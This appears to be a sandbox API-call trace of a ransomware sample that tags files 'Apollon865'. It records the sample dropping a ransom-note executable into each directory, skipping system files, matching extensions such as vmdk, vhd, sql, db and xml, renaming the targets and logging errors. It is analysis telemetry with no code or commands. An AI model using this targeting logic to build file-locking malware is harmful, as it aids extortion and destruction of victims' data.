	[0076.889] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers"
	[0076.889] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.889] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.903] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45e8cd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45e8cd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.904] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.904] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.904] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45e8cd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45e8cd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.904] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.904] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.904] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.904] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e8cd50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45e8cd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.904] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.904] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2=".") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="..") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="windows") returned -1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="bootmgr") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="temp") returned -1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="pagefile.sys") returned -1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="boot") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="ids.txt") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="ntuser.dat") returned 1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="perflogs") returned -1
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2="MSBuild") returned 1
	[0076.904] lstrlenW (lpString="numbase.xml") returned 11
	[0076.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\*") returned 74
	[0076.904] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="numbase.xml" | out: lpString1="numbase.xml") returned="numbase.xml"
	[0076.904] lstrlenW (lpString="numbase.xml") returned 11
	[0076.904] lstrlenW (lpString="Apollon865") returned 10
	[0076.904] lstrcmpiW (lpString1="umbase.xml", lpString2="Apollon865") returned 1
	[0076.904] lstrlenW (lpString=".dll") returned 4
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2=".dll") returned 1
	[0076.904] lstrlenW (lpString=".lnk") returned 4
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2=".lnk") returned 1
	[0076.904] lstrlenW (lpString=".ini") returned 4
	[0076.904] lstrcmpiW (lpString1="numbase.xml", lpString2=".ini") returned 1
	[0076.905] lstrlenW (lpString=".sys") returned 4
	[0076.905] lstrcmpiW (lpString1="numbase.xml", lpString2=".sys") returned 1
	[0076.905] lstrlenW (lpString="numbase.xml") returned 11
	[0076.905] lstrlenW (lpString="bak") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.905] lstrlenW (lpString="ba_") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.905] lstrlenW (lpString="dbb") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.905] lstrlenW (lpString="vmdk") returned 4
	[0076.905] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.905] lstrlenW (lpString="rar") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.905] lstrlenW (lpString="zip") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.905] lstrlenW (lpString="tgz") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.905] lstrlenW (lpString="vbox") returned 4
	[0076.905] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.905] lstrlenW (lpString="vdi") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.905] lstrlenW (lpString="vhd") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.905] lstrlenW (lpString="vhdx") returned 4
	[0076.905] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.905] lstrlenW (lpString="avhd") returned 4
	[0076.905] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.905] lstrlenW (lpString="db") returned 2
	[0076.905] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.905] lstrlenW (lpString="db2") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.905] lstrlenW (lpString="db3") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.905] lstrlenW (lpString="dbf") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.905] lstrlenW (lpString="mdf") returned 3
	[0076.905] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.905] lstrlenW (lpString="mdb") returned 3
	[0076.906] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.906] lstrlenW (lpString="sql") returned 3
	[0076.906] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.906] lstrlenW (lpString="sqlite") returned 6
	[0076.906] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.906] lstrlenW (lpString="sqlite3") returned 7
	[0076.906] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.906] lstrlenW (lpString="sqlitedb") returned 8
	[0076.906] lstrcmpiW (lpString1="base.xml", lpString2="sqlitedb") returned -1
	[0076.906] lstrlenW (lpString="xml") returned 3
	[0076.906] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.906] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.Apollon865") returned 95
	[0076.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.908] GetLastError () returned 0x5
	[0076.908] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml MoveFileEx error 5\r\n") returned 113
	[0076.908] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml MoveFileEx error 5\r\n") returned 113
	[0076.908] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.909] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3d02
	[0076.909] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x71, lpOverlapped=0x0) returned 1
	[0076.909] CloseHandle (hObject=0x100) returned 1
	[0076.909] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.909] CloseHandle (hObject=0x0) returned 0
	[0076.909] CloseHandle (hObject=0x0) returned 0
	[0076.909] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7e6a73, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f7e6a73, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f7e6a73, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="numbase.xml", cAlternateFileName="")) returned 0
	[0076.909] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.909] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
	[0076.909] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main"
	[0076.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a33d0 | out: hHeap=0x580000) returned 1
	[0076.909] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0076.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned 69
	[0076.909] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main"
	[0076.909] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.918] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45eb2eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45eb2eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.918] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.918] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.918] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.918] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x45eb2eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45eb2eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.918] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.918] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.918] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.918] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.918] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2=".") returned 1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="..") returned 1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="windows") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="bootmgr") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="temp") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="pagefile.sys") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="boot") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="ids.txt") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="ntuser.dat") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="perflogs") returned -1
	[0076.918] lstrcmpiW (lpString1="base.xml", lpString2="MSBuild") returned -1
	[0076.918] lstrlenW (lpString="base.xml") returned 8
	[0076.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*") returned 71
	[0076.919] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="base.xml" | out: lpString1="base.xml") returned="base.xml"
	[0076.919] lstrlenW (lpString="base.xml") returned 8
	[0076.919] lstrlenW (lpString="Apollon865") returned 10
	[0076.919] lstrlenW (lpString=".dll") returned 4
	[0076.919] lstrcmpiW (lpString1="base.xml", lpString2=".dll") returned 1
	[0076.919] lstrlenW (lpString=".lnk") returned 4
	[0076.919] lstrcmpiW (lpString1="base.xml", lpString2=".lnk") returned 1
	[0076.919] lstrlenW (lpString=".ini") returned 4
	[0076.919] lstrcmpiW (lpString1="base.xml", lpString2=".ini") returned 1
	[0076.919] lstrlenW (lpString=".sys") returned 4
	[0076.919] lstrcmpiW (lpString1="base.xml", lpString2=".sys") returned 1
	[0076.919] lstrlenW (lpString="base.xml") returned 8
	[0076.919] lstrlenW (lpString="bak") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.919] lstrlenW (lpString="ba_") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.919] lstrlenW (lpString="dbb") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.919] lstrlenW (lpString="vmdk") returned 4
	[0076.919] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.919] lstrlenW (lpString="rar") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.919] lstrlenW (lpString="zip") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.919] lstrlenW (lpString="tgz") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.919] lstrlenW (lpString="vbox") returned 4
	[0076.919] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.919] lstrlenW (lpString="vdi") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.919] lstrlenW (lpString="vhd") returned 3
	[0076.919] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.919] lstrlenW (lpString="vhdx") returned 4
	[0076.919] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.919] lstrlenW (lpString="avhd") returned 4
	[0076.919] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.919] lstrlenW (lpString="db") returned 2
	[0076.920] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.920] lstrlenW (lpString="db2") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0076.920] lstrlenW (lpString="db3") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0076.920] lstrlenW (lpString="dbf") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0076.920] lstrlenW (lpString="mdf") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0076.920] lstrlenW (lpString="mdb") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0076.920] lstrlenW (lpString="sql") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0076.920] lstrlenW (lpString="sqlite") returned 6
	[0076.920] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1
	[0076.920] lstrlenW (lpString="sqlite3") returned 7
	[0076.920] lstrcmpiW (lpString1="ase.xml", lpString2="sqlite3") returned -1
	[0076.920] lstrlenW (lpString="sqlitedb") returned 8
	[0076.920] lstrlenW (lpString="xml") returned 3
	[0076.920] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0076.920] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.Apollon865") returned 89
	[0076.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.923] GetLastError () returned 0x5
	[0076.923] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml MoveFileEx error 5\r\n") returned 107
	[0076.923] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml MoveFileEx error 5\r\n") returned 107
	[0076.923] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.923] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3d73
	[0076.923] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x6b, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x6b, lpOverlapped=0x0) returned 1
	[0076.923] CloseHandle (hObject=0xc0) returned 1
	[0076.923] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.923] CloseHandle (hObject=0x0) returned 0
	[0076.923] CloseHandle (hObject=0x0) returned 0
	[0076.923] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2=".") returned 1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="..") returned 1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="windows") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="bootmgr") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="temp") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="pagefile.sys") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="boot") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="ids.txt") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="ntuser.dat") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="perflogs") returned -1
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="MSBuild") returned -1
	[0076.924] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17
	[0076.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0076.924] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="baseAltGr_rtl.xml" | out: lpString1="baseAltGr_rtl.xml") returned="baseAltGr_rtl.xml"
	[0076.924] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17
	[0076.924] lstrlenW (lpString="Apollon865") returned 10
	[0076.924] lstrcmpiW (lpString1="Gr_rtl.xml", lpString2="Apollon865") returned 1
	[0076.924] lstrlenW (lpString=".dll") returned 4
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2=".dll") returned 1
	[0076.924] lstrlenW (lpString=".lnk") returned 4
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2=".lnk") returned 1
	[0076.924] lstrlenW (lpString=".ini") returned 4
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2=".ini") returned 1
	[0076.924] lstrlenW (lpString=".sys") returned 4
	[0076.924] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2=".sys") returned 1
	[0076.924] lstrlenW (lpString="baseAltGr_rtl.xml") returned 17
	[0076.924] lstrlenW (lpString="bak") returned 3
	[0076.924] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0076.924] lstrlenW (lpString="ba_") returned 3
	[0076.924] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0076.924] lstrlenW (lpString="dbb") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0076.925] lstrlenW (lpString="vmdk") returned 4
	[0076.925] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0076.925] lstrlenW (lpString="rar") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0076.925] lstrlenW (lpString="zip") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0076.925] lstrlenW (lpString="tgz") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0076.925] lstrlenW (lpString="vbox") returned 4
	[0076.925] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0076.925] lstrlenW (lpString="vdi") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0076.925] lstrlenW (lpString="vhd") returned 3
	[0076.925] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0076.925] lstrlenW (lpString="vhdx") returned 4
	[0076.925] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0076.925] lstrlenW (lpString="avhd") returned 4
	[0076.925] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0076.925] lstrlenW (lpString="db") returned 2
	[0076.925] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0076.925] lstrlenW (lpString="db2") returned 3
